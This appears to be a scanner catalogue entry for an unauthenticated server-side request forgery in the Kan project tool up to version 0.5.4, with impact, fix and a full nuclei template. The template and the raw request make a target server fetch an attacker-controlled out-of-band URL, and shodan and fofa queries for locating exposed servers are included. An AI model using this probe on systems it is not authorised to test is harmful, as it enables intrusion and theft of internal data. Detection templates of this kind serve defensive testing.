Kan <= 0.5.4 - Server-Side Request Forgery

highseverity

8.6CVSS score

26.9%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Kan, an open-source project management tool (Trello alternative), versions 0.5.4 and below are vulnerable to an unauthenticated Server-Side Request Forgery in the /api/download/attatchment endpoint. The endpoint passes the attacker-controlled `url` query parameter straight to a server-side fetch() without validating the destination host, allowing an unauthenticated attacker to make the server issue arbitrary outbound HTTP requests and read back the full response body.

Impact

Unauthenticated attackers can force the server to issue requests to internal-only services, such as cloud metadata endpoints or internal APIs, and read the complete response body, potentially exposing credentials, configuration data, and other sensitive internal information.

Fix

Upgrade Kan to version 0.5.5 or later, which validates the requested host against the configured S3_ENDPOINT before making the upstream request.

How to confirm it

Send: GET /api/download/attatchment?url=http://{{interactsh-url}}/{{randstr}}&filename={{randstr}}
Positive when: contains in interactsh_protocol "http" AND status_code == 200 and contains(header, "filename=\"{{randstr}}\"")

Run it with nuclei: nuclei -id CVE-2026-32255 -u <target>

The full check

id: CVE-2026-32255

info:
  name: Kan <= 0.5.4 - Server-Side Request Forgery
  author: prithvee07
  severity: high
  description: |
    Kan, an open-source project management tool (Trello alternative), versions 0.5.4 and below are vulnerable to an unauthenticated Server-Side Request Forgery in the /api/download/attatchment endpoint. The endpoint passes the attacker-controlled `url` query parameter straight to a server-side fetch() without validating the destination host, allowing an unauthenticated attacker to make the server issue arbitrary outbound HTTP requests and read back the full response body.
  impact: |
    Unauthenticated attackers can force the server to issue requests to internal-only services, such as cloud metadata endpoints or internal APIs, and read the complete response body, potentially exposing credentials, configuration data, and other sensitive internal information.
  remediation: |
    Upgrade Kan to version 0.5.5 or later, which validates the requested host against the configured S3_ENDPOINT before making the upstream request.
  reference:
    - https://github.com/kanbn/kan/security/advisories/GHSA-qrx8-9hc6-jvqg
    - https://github.com/kanbn/kan/commit/53397d8e81dc1494d94132848c1f0416f1152bd7
    - https://github.com/kanbn/kan/releases/tag/v0.5.5
    - https://github.com/kOaDT/poc-cve-2026-32255
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32255
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-32255
    epss-score: 0.26901
    epss-percentile: 0.98052
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: kanbn
    product: kan
    shodan-query: http.title:"Kan"
    fofa-query: title="Kan" && body="_next"
  tags: cve,cve2026,kan,ssrf,unauth,oast,vkev

http:
  - raw:
      - |
        GET /api/download/attatchment?url=http://{{interactsh-url}}/{{randstr}}&filename={{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "filename=\"{{randstr}}\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from